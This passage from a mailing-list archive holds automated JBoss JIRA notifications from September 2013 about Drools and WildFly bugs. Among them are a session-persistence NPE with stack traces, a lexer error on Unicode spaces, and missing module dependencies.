> 	at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:142)
> 	- locked <0x00000007f6820f98> (a java.lang.ref.ReferenceQueue$Lock)
> 	at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:158)
> 	at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:189)
> "Reference Handler" #2 daemon prio=10 os_prio=31 tid=0x00007fd64404f800 nid=0x4403 in Object.wait() [0x000000011bcd4000]
>    java.lang.Thread.State: WAITING (on object monitor)
> 	at java.lang.Object.wait(Native Method)
> 	- waiting on <0x00000007f68386c0> (a java.lang.ref.Reference$Lock)
> 	at java.lang.Object.wait(Object.java:502)
> 	at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:157)
> 	- locked <0x00000007f68386c0> (a java.lang.ref.Reference$Lock)
> "VM Thread" os_prio=31 tid=0x00007fd64404d000 nid=0x4203 runnable 
> "GC task thread#0 (ParallelGC)" os_prio=31 tid=0x00007fd64500d000 nid=0x3203 runnable 
> "GC task thread#1 (ParallelGC)" os_prio=31 tid=0x00007fd64500e000 nid=0x3403 runnable 
> "GC task thread#2 (ParallelGC)" os_prio=31 tid=0x00007fd64500e800 nid=0x3603 runnable 
> "GC task thread#3 (ParallelGC)" os_prio=31 tid=0x00007fd64500f000 nid=0x3803 runnable 
> "GC task thread#4 (ParallelGC)" os_prio=31 tid=0x00007fd64500f800 nid=0x3a03 runnable 
> "GC task thread#5 (ParallelGC)" os_prio=31 tid=0x00007fd645010800 nid=0x3c03 runnable 
> "GC task thread#6 (ParallelGC)" os_prio=31 tid=0x00007fd644004800 nid=0x3e03 runnable 
> "GC task thread#7 (ParallelGC)" os_prio=31 tid=0x00007fd644005000 nid=0x4003 runnable 
> "VM Periodic Task Thread" os_prio=31 tid=0x00007fd645016800 nid=0x6203 waiting on condition 
> JNI global references: 74

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 18:38:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 18:38:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-275) RuleEngine
 AfterEvaluator.evaluateCachedRight throws NPE on persisted Session reload
 (Phreak, Stream, PseudoClock)
In-Reply-To: <JIRA.12501735.1380283896000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501735.1380283896000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501735.1380283896000.7277.1380580682605@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-275?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808419#comment-12808419 ] 

RH Bugzilla Integration commented on DROOLS-275:
------------------------------------------------

Edson Tirelli <etirelli at redhat.com> changed the Status of [bug 1013197|https://bugzilla.redhat.com/show_bug.cgi?id=1013197] from NEW to ASSIGNED
                
> RuleEngine AfterEvaluator.evaluateCachedRight throws NPE on persisted Session reload (Phreak, Stream, PseudoClock)
> ------------------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-275
>                 URL: https://issues.jboss.org/browse/DROOLS-275
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions:  6.0.0.CR3
>         Environment: Mac OS-X 10.8.5, Hotspot 1.7.0_40
>            Reporter: Duncan Doyle
>            Assignee: Mark Proctor
>
> I persist a KieSession via the Marshaller (serializable) with one fact/event inserted. On reload of the session, I can see that fact is still there (when I check the FactHandles) and the PseudoClock is at the correct time (the time when I persisted it). If I then insert another fact/event into this reloaded session which matches the following rule:
> rule "SimpleFactTimeWindow"
> when
> 	$s1: SimpleFact() from entry-point LinkyStream
> 	$s2: SimpleFact(this != $s1, this after [0s, 10s] $s1) from entry-point LinkyStream
> then
> 	System.out.println("Rule fired, found 2 Facts within the time window.");
> end
> I get a NPE (in both Phreak and ReteOO mode). Exception in Phreak:
> java.lang.reflect.InvocationTargetException
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> 	at java.lang.reflect.Method.invoke(Method.java:606)
> 	at org.codehaus.mojo.exec.ExecJavaMojo$1.run(ExecJavaMojo.java:297)
> 	at java.lang.Thread.run(Thread.java:724)
> Caused by: java.lang.NullPointerException
> 	at org.drools.core.base.evaluators.AfterEvaluatorDefinition$AfterEvaluator.evaluateCachedRight(AfterEvaluatorDefinition.java:304)
> 	at org.drools.core.rule.constraint.EvaluatorConstraint.isAllowedCachedRight(EvaluatorConstraint.java:80)
> 	at org.drools.core.common.DoubleBetaConstraints.isAllowedCachedRight(DoubleBetaConstraints.java:117)
> 	at org.drools.core.phreak.PhreakJoinNode.doRightInserts(PhreakJoinNode.java:150)
> 	at org.drools.core.phreak.PhreakJoinNode.doNode(PhreakJoinNode.java:56)
> 	at org.drools.core.phreak.RuleNetworkEvaluator.switchOnDoBetaNode(RuleNetworkEvaluator.java:547)
> 	at org.drools.core.phreak.RuleNetworkEvaluator.evalBetaNode(RuleNetworkEvaluator.java:533)
> 	at org.drools.core.phreak.RuleNetworkEvaluator.innerEval(RuleNetworkEvaluator.java:335)
> 	at org.drools.core.phreak.RuleNetworkEvaluator.outerEval(RuleNetworkEvaluator.java:162)
> 	at org.drools.core.phreak.RuleNetworkEvaluator.evaluateNetwork(RuleNetworkEvaluator.java:117)
> 	at org.drools.core.phreak.RuleExecutor.reEvaluateNetwork(RuleExecutor.java:194)
> 	at org.drools.core.phreak.RuleExecutor.evaluateNetworkAndFire(RuleExecutor.java:65)
> 	at org.drools.core.common.DefaultAgenda.fireNextItem(DefaultAgenda.java:936)
> 	at org.drools.core.common.DefaultAgenda.fireAllRules(DefaultAgenda.java:1183)
> 	at org.drools.core.common.AbstractWorkingMemory.fireAllRules(AbstractWorkingMemory.java:936)
> 	at org.drools.core.common.AbstractWorkingMemory.fireAllRules(AbstractWorkingMemory.java:910)
> 	at org.drools.core.impl.StatefulKnowledgeSessionImpl.fireAllRules(StatefulKnowledgeSessionImpl.java:233)
> 	at org.jboss.ddoyle.brms.cep.ha.management.TestScenarioRunner.secondRun(TestScenarioRunner.java:142)
> 	at org.jboss.ddoyle.brms.cep.ha.management.MainSecondRun.main(MainSecondRun.java:7)
> 	... 6 more
> Exception in ReteOO:
> java.lang.reflect.InvocationTargetException
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> 	at java.lang.reflect.Method.invoke(Method.java:606)
> 	at org.codehaus.mojo.exec.ExecJavaMojo$1.run(ExecJavaMojo.java:297)
> 	at java.lang.Thread.run(Thread.java:724)
> Caused by: org.drools.core.RuntimeDroolsException: Unexpected exception executing action org.drools.core.reteoo.PropagationQueuingNode$PropagateAction at 2e3aeda
> 	at org.drools.core.common.AbstractWorkingMemory.executeQueuedActions(AbstractWorkingMemory.java:1225)
> 	at org.drools.core.common.NamedEntryPoint.insert(NamedEntryPoint.java:371)
> 	at org.drools.core.common.NamedEntryPoint.insert(NamedEntryPoint.java:278)
> 	at org.drools.core.common.NamedEntryPoint.insert(NamedEntryPoint.java:131)
> 	at org.drools.core.common.NamedEntryPoint.insert(NamedEntryPoint.java:56)
> 	at org.jboss.ddoyle.brms.cep.ha.management.TestScenarioRunner.secondRun(TestScenarioRunner.java:140)
> 	at org.jboss.ddoyle.brms.cep.ha.management.MainSecondRun.main(MainSecondRun.java:7)
> 	... 6 more
> Caused by: java.lang.NullPointerException
> 	at org.drools.core.base.evaluators.AfterEvaluatorDefinition$AfterEvaluator.evaluateCachedLeft(AfterEvaluatorDefinition.java:324)
> 	at org.drools.core.rule.constraint.EvaluatorConstraint.isAllowedCachedLeft(EvaluatorConstraint.java:67)
> 	at org.drools.core.common.DoubleBetaConstraints.isAllowedCachedLeft(DoubleBetaConstraints.java:108)
> 	at org.drools.reteoo.nodes.ReteJoinNode.propagateFromLeft(ReteJoinNode.java:147)
> 	at org.drools.reteoo.nodes.ReteJoinNode.assertLeftTuple(ReteJoinNode.java:99)
> 	at org.drools.core.reteoo.SingleLeftTupleSinkAdapter.doPropagateAssertLeftTuple(SingleLeftTupleSinkAdapter.java:213)
> 	at org.drools.core.reteoo.SingleLeftTupleSinkAdapter.propagateAssertLeftTuple(SingleLeftTupleSinkAdapter.java:73)
> 	at org.drools.reteoo.nodes.ReteJoinNode.propagateFromRight(ReteJoinNode.java:135)
> 	at org.drools.reteoo.nodes.ReteJoinNode.assertRightTuple(ReteJoinNode.java:125)
> 	at org.drools.reteoo.nodes.ReteBetaNodeUtils.assertObject(ReteBetaNodeUtils.java:47)
> 	at org.drools.reteoo.nodes.ReteJoinNode.assertObject(ReteJoinNode.java:39)
> 	at org.drools.core.reteoo.CompositeObjectSinkAdapter.doPropagateAssertObject(CompositeObjectSinkAdapter.java:502)
> 	at org.drools.core.reteoo.CompositeObjectSinkAdapter.propagateAssertObject(CompositeObjectSinkAdapter.java:387)
> 	at org.drools.core.reteoo.PropagationQueuingNode$AssertAction.execute(PropagationQueuingNode.java:430)
> 	at org.drools.core.reteoo.PropagationQueuingNode.propagateActions(PropagationQueuingNode.java:266)
> 	at org.drools.core.reteoo.PropagationQueuingNode$PropagateAction.execute(PropagationQueuingNode.java:592)
> 	at org.drools.core.common.AbstractWorkingMemory.executeQueuedActions(AbstractWorkingMemory.java:1223)
> 	... 12 more
> What I discovered is that this only happens when I save the KieSession to a file in one JVM and reload it in another. When I load the KieSession in the same JVM as the one in which I persisted it, there is no exception and the rule get's fired (as expected).
> I created a reproducer project for it: https://github.com/DuncanDoyle/DroolsSessionPersistenceNPE/
> I've added some Maven profiles so you can easily observe the behaviour:
> - mvn -PallRuns exec:java    : this runs both the persistence and the reload in the same JVM, no exception, everything works fine.
> - mvn -PfirstRun exec:java    : this runs the first part of the test, and saves the KieSession to a file.
> - mvn -PsecondRun exec:java   : this runs the second part of the test, which loads the previously saved KieSession from the file and inserts a new fact, resulting in the NPE.
> All three tests can also be run in ReteOO mode by adding "-Ddrools.ruleEngine=reteoo" at the end of the command.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 18:40:02 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 30 Sep 2013 18:40:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2189) Enforce and correctly
 describe permissions on domain server lifecycle ops
In-Reply-To: <JIRA.12501883.1380580764980@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501883.1380580764980@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501883.1380580764980.7279.1380580802947@jira02.app.mwc.hst.phx2.redhat.com>

Brian Stansberry created WFLY-2189:
--------------------------------------

             Summary: Enforce and correctly describe permissions on domain server lifecycle ops
                 Key: WFLY-2189
                 URL: https://issues.jboss.org/browse/WFLY-2189
             Project: WildFly
          Issue Type: Sub-task
          Components: Domain Management
            Reporter: Brian Stansberry
            Assignee: Brian Stansberry
             Fix For: 8.0.0.CR1


ServerStartHandler, ServerRestartHandler and ServerStopHandler need:

1) setRuntimeOnly() added to the SimpleOperationDefinitionBuilder build of their OperationDefinition. This will open these ops to the Operator role.

2) A permission check trigger added to the Stage.RUNTIME handling. This will result in actual permission enforcement.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 19:30:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 19:30:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBRULES-3723) 'IDEOGRAPHIC SPACE'
 (U+3000) in DSL fails
In-Reply-To: <JIRA.12483483.1359107857000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12483483.1359107857000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12483483.1359107857000.7290.1380583802636@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBRULES-3723?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808423#comment-12808423 ] 

RH Bugzilla Integration commented on JBRULES-3723:
--------------------------------------------------

Edson Tirelli <etirelli at redhat.com> changed the Status of [bug 958385|https://bugzilla.redhat.com/show_bug.cgi?id=958385] from NEW to ASSIGNED
                
> 'IDEOGRAPHIC SPACE' (U+3000) in DSL fails
> -----------------------------------------
>
>                 Key: JBRULES-3723
>                 URL: https://issues.jboss.org/browse/JBRULES-3723
>             Project: JBRULES
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: drools-compiler-DSL
>    Affects Versions: 5.5.0.Final
>            Reporter: Toshiya Kobayashi
>            Assignee: Mark Proctor
>
> When DSL contains '?' (='IDEOGRAPHIC SPACE' (U+3000)), DSLMapLexer fails with "DSL lexer error" (Internally, it's a NoViableAltException). IDEOGRAPHIC SPACE is commonly used in Japan so please allow it to use. It doesn't mean that I want to use IDEOGRAPHIC SPACE as an alternative to ASCII whitespace. Just to use it as same as usual unicode characters.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep 30 19:32:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 19:32:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBRULES-3699) Large memory allocation
 per request in drools-camel-server
In-Reply-To: <JIRA.12480200.1354270938000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12480200.1354270938000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12480200.1354270938000.7293.1380583922551@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBRULES-3699?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808424#comment-12808424 ] 

RH Bugzilla Integration commented on JBRULES-3699:
--------------------------------------------------

Edson Tirelli <etirelli at redhat.com> changed the Status of [bug 958387|https://bugzilla.redhat.com/show_bug.cgi?id=958387] from NEW to ASSIGNED
                
> Large memory allocation per request in drools-camel-server
> ----------------------------------------------------------
>
>                 Key: JBRULES-3699
>                 URL: https://issues.jboss.org/browse/JBRULES-3699
>             Project: JBRULES
>          Issue Type: Quality Risk
>      Security Level: Public(Everyone can see) 
>          Components: drools-camel
>    Affects Versions: 5.4.0.Final
>            Reporter: Toshiya Kobayashi
>            Assignee: Mark Proctor
>         Attachments: JBoss_Benchmark_Request.xml, numbers.drl
>
>
> In drools-camel-server, memory allocation during request/response message handling is quite larger than actual request/response size.
> For example, with attached numbers.drl and JBoss_Benchmark_Request.xml, one SOAP request results in 45MB+ object allocation while the actual request size is 200KB and the response size is 650KB. They are short-lived objects so wouldn't be a memory leak but affect performance especially under high load.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 21:15:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 21:15:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2177) org.jboss.logmanager module
 needs dependency on javax.api for the SocketFactory
In-Reply-To: <JIRA.12501765.1380321136000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501765.1380321136000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501765.1380321136000.7336.1380590103314@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2177?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808432#comment-12808432 ] 

RH Bugzilla Integration commented on WFLY-2177:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1013169|https://bugzilla.redhat.com/show_bug.cgi?id=1013169] from POST to MODIFIED
                
> org.jboss.logmanager module needs dependency on javax.api for the SocketFactory
> -------------------------------------------------------------------------------
>
>                 Key: WFLY-2177
>                 URL: https://issues.jboss.org/browse/WFLY-2177
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>             Fix For: 8.0.0.Beta1
>
>
> The {{javax.net.SocketFactory}} is part of the {{javax.api}} module. Since the {{org.jboss.logmanager}} uses this for the syslog handler on TCP and SSL connections, a dependency on the module is needed.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 21:17:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 21:17:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1914) Application client container
	doesn't start
In-Reply-To: <JIRA.12499060.1377081913000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499060.1377081913000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499060.1377081913000.7341.1380590222637@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1914?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808433#comment-12808433 ] 

RH Bugzilla Integration commented on WFLY-1914:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 999465|https://bugzilla.redhat.com/show_bug.cgi?id=999465] from ASSIGNED to MODIFIED
                
> Application client container doesn't start
> ------------------------------------------
>
>                 Key: WFLY-1914
>                 URL: https://issues.jboss.org/browse/WFLY-1914
>             Project: WildFly
>          Issue Type: Bug
>          Components: Application Client
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: jaikiran pai
>            Assignee: jaikiran pai
>             Fix For: 8.0.0.Beta1
>
>
> Application client container fails to start with the following exception:
> {code}
> 16:23:40,742 INFO  [org.jboss.as.jacorb] (MSC service thread 1-7) JBAS016328: CORBA Naming Service started
> 16:23:40,744 ERROR [org.jboss.as.controller.management-operation] (Controller Boot Thread) JBAS014613: Operation ("add") failed - address: ([
>     ("subsystem" => "naming"),
>     ("service" => "remote-naming")
> ]) - failure description: {"JBAS014771: Services with missing/unavailable dependencies" => ["jboss.naming.remote is missing [jboss.remoting.endpoint.subsystem]"]}
> 16:23:40,779 INFO  [org.jboss.as.controller] (Controller Boot Thread) JBAS014774: Service status report
> JBAS014775:    New missing/unsatisfied dependencies:
>       service jboss.remoting.endpoint.subsystem (missing) dependents: [service jboss.naming.remote] 
> 16:23:40,782 ERROR [org.jboss.as] (Controller Boot Thread) JBAS015875: WildFly 8.0.0.Beta1-SNAPSHOT "WildFly" started (with errors) in 1471ms - Started 99 of 103 services (1 services failed or missing dependencies, 9 services are lazy, passive or on-demand)
> {code}
> when started using the following command:
> {code}
> JBOSS_HOME/bin/appclient.sh /foo/bar/some.jar
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 21:17:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 21:17:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-17) ignore CNFE when scanning for
 entity classes in deployment
In-Reply-To: <JIRA.12489621.1366137451000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489621.1366137451000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489621.1366137451000.7344.1380590222786@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-17?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808434#comment-12808434 ] 

RH Bugzilla Integration commented on WFLY-17:
---------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1006617|https://bugzilla.redhat.com/show_bug.cgi?id=1006617] from ASSIGNED to MODIFIED
                
> ignore CNFE when scanning for entity classes in deployment
> ----------------------------------------------------------
>
>                 Key: WFLY-17
>                 URL: https://issues.jboss.org/browse/WFLY-17
>             Project: WildFly
>          Issue Type: Bug
>          Components: JPA / Hibernate
>            Reporter: Scott Marlow
>            Assignee: jaikiran pai
>             Fix For: 8.0.0.Alpha1
>
>         Attachments: cnfe.jar
>
>
> Deployments may contain non-entity classes that can not be loaded (see above forum reference for example).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

